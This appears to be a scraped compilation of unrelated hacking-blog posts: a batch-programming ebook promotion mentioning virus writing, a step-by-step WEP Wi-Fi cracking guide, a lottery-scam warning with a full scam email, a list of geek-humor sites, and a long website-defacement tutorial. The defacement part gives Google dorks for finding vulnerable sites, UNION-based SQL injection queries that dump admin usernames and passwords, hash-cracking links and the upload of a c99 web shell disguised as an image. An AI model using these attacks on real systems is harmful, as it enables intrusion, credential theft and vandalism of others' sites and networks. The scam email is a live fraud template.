Exhaustive Guide to Batch File Programming

Hello Friends,

First of all I would like to apologize for not writing a post since 2 months. But this one is very special post. One of my good Friend and a guest writer on Desi Hacker “Premkumar S.” aka “Cybercrawler” has published an E-book on “Batch File Programming”.

Who should read this Book?

This book is for everybody from a Beginner to a Geek. Anybody who wants to become a Hacker then this is a what you need to know before even thinking to become a Hacker.

What can you get from it?

This book contains everything about Batch File Programing from beginning  to the end. I will list out the table of content of the E-book.

• Introduction
• Internal & External Commands
• Run Line Commands
• Batch Operators
• Basic Commands
• Environment Variables
• Looping Statements
• Conditional Statements
• Commands Associated with files and folders
• Network Troubleshooting commands
• Code snippets
• Virus Programming
• Converting Batch to Executable

I know all of you are thinking about the second-last topic in the list. Yes it is about virus programing and it true that you can make your own viruses using Batch Programming. This is an Exhaustive guide from which you can get all the thing that you  need to know about Batch Programming.

Where can I get this E-Book?

There are 2 ways to access this Book:

1. You can read it on the Popular document Publishing website www.scribd.com . Click here to read it.
2. You can also download it and read it on your own PDF reader. Click Here to download it.

How to Hack WiFi (WEP) Using Backtrack 4

1. Boot Live CD/DVD of BackTrack 4. After it boots, type in "startx" to start GUI

2. Open new Konsole (backtrack's terminal).

3. Type, not using qoutes, "airodump-ng wlan0". Now find the network you want to attack. Copy the BSSID and the channel (write down on piece of paper and keep handy)

4. Open new Konsole, type "airodump-ng -w wep -c 11 --bssid 00:24:b2:80:d7:3c wlan0"   **X & 00:24:b2:80:d7:3c are examples of the channel and bssid you should have copied**

5. You are now fixed on to the network you want to attack.

6. Close the first Konsole, open a new Konsole and type "aireplay-ng -1 0 -a 00:24:b2:80:d7:3c wlan0"  **00:24:b2:80:d7:3c is an example as well**

7. Open another new Konsole, type "aireplay-ng -3 -b 00:24:b2:80:d7:3c wlan0"  **00:24:b2:80:d7:3c example"

8. Go to first Konsole, wait for the Data to reach to 30,000; go to 3rd Konsole, hit CNTL + C, then type in "dir", hit enter

9. Type "airecrack-ng wep.01.cap", hit enter.

10. Let it run its course, should only take a few moments. Once key is found, it will show up with semi-colons in it. Take out the semi-colons, and this will be the key. (Example of key; 53:06:66:51:50, so it will be 5306665150)

11. Enjoy Hacking, Enjoy Hackton.

Lottery scam quick guide: it's a scam if...

• you win any lottery where you didn't buy a ticket! It's really that easy! It's not just too good to be true: it's bait in a trap!
• you receive a generous grant out of the blue. Sadly (but not surprisingly) there aren't any benevolent people regularly throwing around millions of pounds/dollars/euros to randomly chosen people. This is just the lottery scam without the ticket.
• they send you partial payment in the form of a cheque, money order, or direct bank transfer and want you to pay them fees out of that money. They're playing you for a sucker: cheques are frequently forged, and direct transfers made by compromising some poor schmuck's online banking service. You'll wind up a victim of fraud, or a party to it.
• they want you to send them any money of any sort for any reason. They might try to say there are courier fees or taxes to cover. They're lying. Call their bluff and tell them to take the fees out themselves -- they'll never ever agree, because they can't defraud you unless money is making the reverse trip from you to them somehow.

Monday, November 13, 2006

Mrs. Rose Wood

---------- Forwarded message ----------
From: Mrs. Rose Wood <fiduciary_2006_agent101@tlen.pl>
Date: 11-Nov-2006 23:12
Subject: Mrs. Rose Wood
To: undisclosed-recipients

The National Lottery
P O Box 1010
Liverpool, L70 1NL UNITED KINGDOM
(Customer Services)
Ref: LSUK/2031/8161/04
Batch: R3/A312-59

Dear Winner,

We happily announce to you the draw (#984) of the UK NATIONAL LOTTERY,
online Sweepstakes International Program held on 11th of Nov. 2006.
Your e-mail address attached to ticket number: 56475600545 188 with
Serial number 5368/02 drew the lucky numbers:10.16.21.24.34.46. [30]
Bonus Ball which subsequently won the Jackpot prize. You have therefore been
approved to claim a total sum of £2,500,000(Two million five hundread
Thousand Pounds Sterling) in cash credited to file KTU/9023118308/03.

All participants for the online version were selected randomly from the
World Wide Web through a computer draw system and extracted from over
100,000 unions, associations, and corporate bodies that are listed
online. This promotion takes place weekly.

Please note that your lucky winning number falls within our European
booklet representative office in Europe as indicated in your play
coupon.

In view of this, your £2,500,000 would be released to you by any of our
payment offices in Europe.

To file for your claim, please contact
Fred Mark
Email:fiduciary_2006_agent101@tlen.pl
Who will direct you on how to claim your winnings
That way your Winnings Certificate and all other relevant
documents/paperwork can be prepared for you. You would be required to
show an instrument of identification when cashing your cheque i.e.
Drivers license or International passport.

For security reasons, you are advised to keep your winning information
confidential till your claims is processed and your money remitted to
you in whatever manner you deem fit to claim your prize. This is part
of our precautionary measure to avoid double claiming and unwarranted
abuse of this program. Please be warned.

Good luck from me and members of staff of the U.K NATIONAL LOTTERY.

ONCE AGAIN THE WHOLE OF THE NATIONAL UK LOTTERY STAFFS ARE
CONGRATULATING YOU, SO PLEASE GET BACK TO ME AS SOON AS POSSIBLE WITH
THE FOLLOWING INFORMATIONS TO ENABLE US FILE YOUR CLIAMS.

VERIFICATION AND FUND RELEASE FORM
1.FULL NAMES:__________________________________
2.ADDRESS:_____________________________________________
____________________________________________
3.SEX:_______________
4.AGE:________

5.MARITAL STATUS:___________________
6.OCCUPATION:________________________
7.E-MAIL ADDRESS:_____________________________
8.TELEPHONE NUMBER:_____________________
9.BATCH NUMBER:____________________ B. REF NUMBER:______________
10.BRIEF DESCRIPTION OF COMPANY/INDIVIDUAL___________
11.AMOUNT WON:___________________________________
___________________________________________

12. COUNTRY________________________________

Upon receipt of the duly requested data, I will send
you the contact information of the payment office so you
can proceed with effecting the release of your claim
in anyway you deem fit.

Yours faithfully,
Rose Wood
Online coordinator for THE NATIONAL LOTTERY
Sweepstakes International Program.

10 Websites For Geek Humor & Computer Jokes

“There’s no place like 127.0.0.1″.

Didn’t get it? That’s geek humor. Just so that you know, it’s a play on the familiar ““ “There’s no place like home.”

From the outside, the world of bits and bytes might seem very dry indeed. But if you have spent any time in a digital office or even better, at an IT help desk, you would know that it’s fertile ground for jokes. Computer errors and mishaps are the banana peels of the geek world.

The one advantage that geeks have is that we can poke fun at machines too and the slip-ups they cause in our lives. In fact, having a developed sense of humor is a prime requisite for surviving the stresses of a digital workplace. Fortunately, if you look around there’s lot to poke fun and laugh at. Remember, even a company like Google laughs at itself.

Humor cannot be built up with long introductions. The path to the joke should be the shortest possible, so sally over to these tech humor websites and give those laugh lines a workout.

Tech Comedy

Real life is funny and this site mirrors it.  It’s a collection of humorous anecdotes and first-person accounts of support personnel when non-geeks bring their computers in. As they say, the guy whom you dial for help hears all the crazy stories and we can all have a laugh as a result.

Cracked

This site is a must visit for any guy who fancies a laugh, period. It just so happens that they have an entire section devoted to ribbing the guy who’s high on hi-tech. Here, you don’t get one liner jokes or stories; instead you face their sarcasm dripping articles that looks at everything from absurd angles. Also, don’t miss the photo captions. If you read through, it makes for loads of laughs. As a sample, try – If The Internet Disappeared: Finding Answers Without Google

Give Up Internet

If the previous site is a bit text heavy, this one favors images. The above picture had me grinning. The tech humor blog is for the “internet people”, and it is built around news, pictures, funny comics, videos, and animated GIFs.

TechChuff

Their About page itself is worth a read and quite definitely lays down what the site aims to do. Don’t believe them when they say that the blog is a collaboration between Nissan, PepsiCo and the current Belizian government. It isn’t; instead it’s a satirical poke at everything and anything that’s digital. The site is a bit stagnant now, with its last update in 2010, but the stories are still worth a laugh.

Geeks Are Sexy

It’s a personal opinion, but I do like the post titles the site comes up with. Geeks Are Sexy (or GAS for you) looks at tech happenings in an offbeat tone. Most of posts are news oriented, but the stuff that really interests me comes with “˜Humor’ tag. Snippets, cartoons, videos, and animations make for some fun reading in the Humor section. The funnies are collated from various corners of the web and presented for our reading pleasure (like the one above).

The Joy Of Tech Comic

You could go to the parent site ““ GeekCulture and still have a laugh as it showcases instances of geeky humor from around the web, or you could stay put and read the tech comics in the sub-section. The site has a decade’s worth of archives that you can sift through if you need regular doses of light reading. Then, you can take part in the polls too.

Shark Tank

True stories from the tech world and as the blog says, it’s the place where IT and people’s cluelessness collides. Shark Tank courtesy, Sharky’s razor wit is a part of the online ComputerWorld.com website. You can even download a PDF on The Best of Shark Tankthat has more than 70 tales of IT miseries documented by readers.

Bash.org

I will let you figure this collection out for yourself. Urban Dictionary defines it as – a site with examples of people making complete asses of themselves on IRC or while instant messaging.

Geek Invasion

The site says that it’s dedicated to feeding geeks “˜relevant information’. News bytes, images, and videos”¦some cool and some downright funny fill the geek’s day. For instance,What Grills Faster? Android, WinPhone or iPhone 4? Find it out here.

How To Deface WEbsite Using SQL And PHP Scripting?

Now Our Todays Discussion is on " How to Deface Websites using the SQL injection and PHP shell code Scripting".. Today I will show you the 100% working method for Hacking Websites and then Defacing them...

Note: I and This Blog is Not responsible for any Misuse of these Tutorials. These are Just for Educational Purposes...So Don't Misuse Them!



FIRST OF ALL YOU SHOULD KNOW WHAT IS DEFACEMENT??
Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)


Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.milw0rm.com/ .Most of the Part is written by me so if you have any doubts I will clear them....


1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries...

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

Here are some More Queries (use them without quotation marks)..

"add.asp?bookid="
"add_cart.asp?num="
"addcart.asp?"
"addItem.asp"
"add-to-cart.asp?ID="
"addToCart.asp?idProduct="
"addtomylist.asp?ProdId="
"adminEditProductFields.asp?intProdID="
"advSearch_h.asp?idCategory="
"affiliate.asp?ID="
"affiliate-agreement.cfm?storeid="
"affiliates.asp?id="
"ancillary.asp?ID="
"archive.asp?id="
"article.asp?id="
"aspx?PageID"
"basket.asp?id="
"Book.asp?bookID="
"book_list.asp?bookid="
"book_view.asp?bookid="
"BookDetails.asp?ID="
"browse.asp?catid="
"browse_item_details.asp"
"Browse_Item_Details.asp?Store_Id="
"buy.asp?"
"buy.asp?bookid="
"bycategory.asp?id="
"cardinfo.asp?card="
"cart.asp?action="
"cart.asp?cart_id="
"cart.asp?id="
"cart_additem.asp?id="
"cart_validate.asp?id="
"cartadd.asp?id="
"cat.asp?iCat="
"catalog.asp"
"catalog.asp?CatalogID="
"catalog_item.asp?ID="
"catalog_main.asp?catid="
"category.asp"
"category.asp?catid="
"category_list.asp?id="
"categorydisplay.asp?catid="
"checkout.asp?cartid="
"checkout.asp?UserID="
"checkout_confirmed.asp?order_id="
"checkout1.asp?cartid="
"comersus_listCategoriesAndProducts.asp?idCategory ="
"comersus_optEmailToFriendForm.asp?idProduct="
"comersus_optReviewReadExec.asp?idProduct="
"comersus_viewItem.asp?idProduct="
"comments_form.asp?ID="
"contact.asp?cartId="
"content.asp?id="
"customerService.asp?TextID1="
"default.asp?catID="
"description.asp?bookid="
"details.asp?BookID="
"details.asp?Press_Release_ID="
"details.asp?Product_ID="
"details.asp?Service_ID="
"display_item.asp?id="
"displayproducts.asp"
"downloadTrial.asp?intProdID="
"emailproduct.asp?itemid="
"emailToFriend.asp?idProduct="
"events.asp?ID="
"faq.asp?cartID="
"faq_list.asp?id="
"faqs.asp?id="
"feedback.asp?title="
"freedownload.asp?bookid="
"fullDisplay.asp?item="
"getbook.asp?bookid="
"GetItems.asp?itemid="
"giftDetail.asp?id="
"help.asp?CartId="
"home.asp?id="
"index.asp?cart="
"index.asp?cartID="
"index.asp?ID="
"info.asp?ID="
"item.asp?eid="
"item.asp?item_id="
"item.asp?itemid="
"item.asp?model="
"item.asp?prodtype="
"item.asp?shopcd="
"item_details.asp?catid="
"item_list.asp?maingroup"
"item_show.asp?code_no="
"itemDesc.asp?CartId="
"itemdetail.asp?item="
"itemdetails.asp?catalogid="
"learnmore.asp?cartID="
"links.asp?catid="
"list.asp?bookid="
"List.asp?CatID="
"listcategoriesandproducts.asp?idCategory="
"modline.asp?id="
"myaccount.asp?catid="
"news.asp?id="
"order.asp?BookID="
"order.asp?id="
"order.asp?item_ID="
"OrderForm.asp?Cart="
"page.asp?PartID="
"payment.asp?CartID="
"pdetail.asp?item_id="
"powersearch.asp?CartId="
"price.asp"
"privacy.asp?cartID="
"prodbycat.asp?intCatalogID="
"prodetails.asp?prodid="
"prodlist.asp?catid="
"product.asp?bookID="
"product.asp?intProdID="
"product_info.asp?item_id="
"productDetails.asp?idProduct="
"productDisplay.asp"
"productinfo.asp?item="
"productlist.asp?ViewType=Category&CategoryID= "
"productpage.asp"
"products.asp?ID="
"products.asp?keyword="
"products_category.asp?CategoryID="
"products_detail.asp?CategoryID="
"productsByCategory.asp?intCatalogID="
"prodView.asp?idProduct="
"promo.asp?id="
"promotion.asp?catid="
"pview.asp?Item="
"resellers.asp?idCategory="
"results.asp?cat="
"savecart.asp?CartId="
"search.asp?CartID="
"searchcat.asp?search_id="
"Select_Item.asp?id="
"Services.asp?ID="
"shippinginfo.asp?CartId="
"shop.asp?a="
"shop.asp?action="
"shop.asp?bookid="
"shop.asp?cartID="
"shop_details.asp?prodid="
"shopaddtocart.asp"
"shopaddtocart.asp?catalogid="
"shopbasket.asp?bookid="
"shopbycategory.asp?catid="
"shopcart.asp?title="
"shopcreatorder.asp"
"shopcurrency.asp?cid="
"shopdc.asp?bookid="
"shopdisplaycategories.asp"
"shopdisplayproduct.asp?catalogid="
"shopdisplayproducts.asp"
"shopexd.asp"
"shopexd.asp?catalogid="
"shopping_basket.asp?cartID="
"shopprojectlogin.asp"
"shopquery.asp?catalogid="
"shopremoveitem.asp?cartid="
"shopreviewadd.asp?id="
"shopreviewlist.asp?id="
"ShopSearch.asp?CategoryID="
"shoptellafriend.asp?id="
"shopthanks.asp"
"shopwelcome.asp?title="
"show_item.asp?id="
"show_item_details.asp?item_id="
"showbook.asp?bookid="
"showStore.asp?catID="
"shprodde.asp?SKU="
"specials.asp?id="
"store.asp?id="
"store_bycat.asp?id="
"store_listing.asp?id="
"Store_ViewProducts.asp?Cat="
"store-details.asp?id="
"storefront.asp?id="
"storefronts.asp?title="
"storeitem.asp?item="
"StoreRedirect.asp?ID="
"subcategories.asp?id="
"tek9.asp?"
"template.asp?Action=Item&pid="
"topic.asp?ID="
"tuangou.asp?bookid="
"type.asp?iType="
"updatebasket.asp?bookid="
"updates.asp?ID="
"view.asp?cid="
"view_cart.asp?title="
"view_detail.asp?ID="
"viewcart.asp?CartId="
"viewCart.asp?userID="
"viewCat_h.asp?idCategory="
"viewevent.asp?EventID="
"viewitem.asp?recor="
"viewPrd.asp?idcategory="
"ViewProduct.asp?misc="
"voteList.asp?item_ID="
"whatsnew.asp?idCategory="
"WsAncillary.asp?ID

Now The Admin password Hacking procedure starts:


You can also refer to my previous post of hacking websites:

Hacking websites : How to hack websites By using SQL Injection

1). Check for vulnerability


Let's say that we have some site like this


http://www.site.com/news.php?id=5


Now to test if is vulrnable we add to the end of url ' (quote),


and that would be http://www.site.com/news.php?id=5'


so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar that means the Site is vulnerable to SQL injection.


2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.http://www.site.com/news.php?id=5 order by 1/* <-- no errorhttp://www.site.com/news.php?id=5 order by 2/* <-- no errorhttp://www.site.com/news.php?id=5 order by 3/* <-- no errorhttp://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.



3). Check for UNION function
With union we can select more data in one sql statement.

So we havehttp://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works .

4). Check for MySQL versionhttp://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .

What we need is convert() function

i.e.http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version .


5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would behttp://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

We know that table admin exists...

Now to check column names.http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...


now to check if column password existshttp://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 
i.e md5 hash, mysql hash, sha1...

Now we must complete query to look nice 

For that we can use concat() function (it joins strings)

i.ehttp://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.

If can't guess the right table name, you can always try mysql.user (default)

It has user  password columns, so example would behttp://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.ehttp://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.ehttp://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.ehttp://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.

for third table we put limit 2,1

i.ehttp://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... 

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would behttp://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
The first column is diplayed.

The second one (we change limit 0,1 to limit 1,1)

ie.http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... 

If you wanna display column names for specific table use this query. (where clause)

Let's say that we found table users.

i.ehttp://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

Let's say that we found colums user, pass and email.

Now to complete query to put them all together.

For that we use concat() , i decribe it earlier.

i.ehttp://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/

What we get here is user:pass:email from table users.

Example: admin:hash:whatever@blabla.com

** If you are too lazy for doing above stuff you can use tools they will do all the job:

1) Exploit scanner (this will find vulnerable websites)
Code:http://rapidshare.com/files/24802790...oitscanner.zip

2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)
Code:http://rapidshare.com/files/24802907...elperV.2.7.rar

*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. 


To crack the password there are three ways
1) Check the net whether this hash is cracked before:
Download:http://www.md5decrypter.co.uk

2) Crack the password with the help of a site:
Download::http://www.milw0rm.com/cracker/insert.php

http://passcracking.com/index.php

3) Use a MD5 cracking software:
Download:http://rapidshare.com/files/13696796...CF_2.10_2b.rar

Password = OwlsNest


2) DEFACING THE WEBSITE

After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.

1) You can use an admin finder website:
Code:http://4dm1n.houbysoft.com/

2) You can use an admin finder software:

Code:http://rapidshare.com/files/248020485/adminfinder.rar


After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

Dowload the shell here:http://rapidshare.com/files/248023722/c99.rar

Extract it you will get a c99.php upload it.
Some sites wont allow you to upload a php file. so rename it as c99.php.gif
Then upload it.

After that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)

find the c99.php.gif and click it..

Now you can see a big control pannel....
Now you can do what ever you want to do...
Search for the index.html file and replace it with your own file. 
So if any one goes to that site they will see your page....
After Doing This click on Logout and You are Done..